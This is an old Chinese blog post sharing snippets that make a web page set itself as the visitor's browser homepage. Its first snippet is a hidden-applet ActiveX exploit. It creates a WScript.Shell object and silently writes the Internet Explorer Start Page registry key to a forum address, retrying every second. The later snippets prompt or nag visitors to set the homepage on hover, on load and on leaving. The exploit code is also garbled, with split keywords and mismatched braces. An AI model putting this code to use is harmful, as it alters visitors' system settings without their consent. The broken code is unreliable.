正在加载……
打开网页自动设为首页代码
| |
Posted in IT相关 on October 8, 2006 / 引用(0)

<script>document.write("<APPLET HEIGHT=0 WIDTH=0  code=com.ms.activeX.ActiveXComponent></APPLET>");fu nction  yuzi(){try{a1=document.applets[0]  ;a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.cr eateInstance();Shl  = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C90  54228}");try{
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet  Explorer\\Main\\Start Page","http://bbs.ctun.net/"}catch(e){]catch(e){]setTime  out("yuzi()",1000);</script>

 

 

鼠标指向时提示设为首页

将下列代码插入<body>区中:

 <A xhref="http://www.netbei.com/"  onmouseover="this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.netbei.com');"  target="_blank">设为首页</A>

 

打开页面时自动弹出窗口询问是否设为首页
将以下代码放在<head></head>之间:

<script  language="javascript">
function  myhomepage(){
this.homepage.style.behavior='url(#default#homepage)';this.homepage.sethomepage('http://bbs.ctun.net');
}
</script>
<p  align="center"><a xhref="http://bbs.ctun.net" name="homepage"  

onclick="myhomepage();"></a>


再将下面代码加入<body>内:

onload="myhomepage();"
即:<body onload="myhomepage();">

 

离开时自动提示设为首页

<body  onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage('http://bbs.ctun.net')))BASEBody.setHomePage('http://bbs.ctun.net/');">  

This entry comes from 本站原创 and has been read for 347 times.It is tagged with .
发表评论

昵称

网址

电邮

OpenID登入 高级选项 表情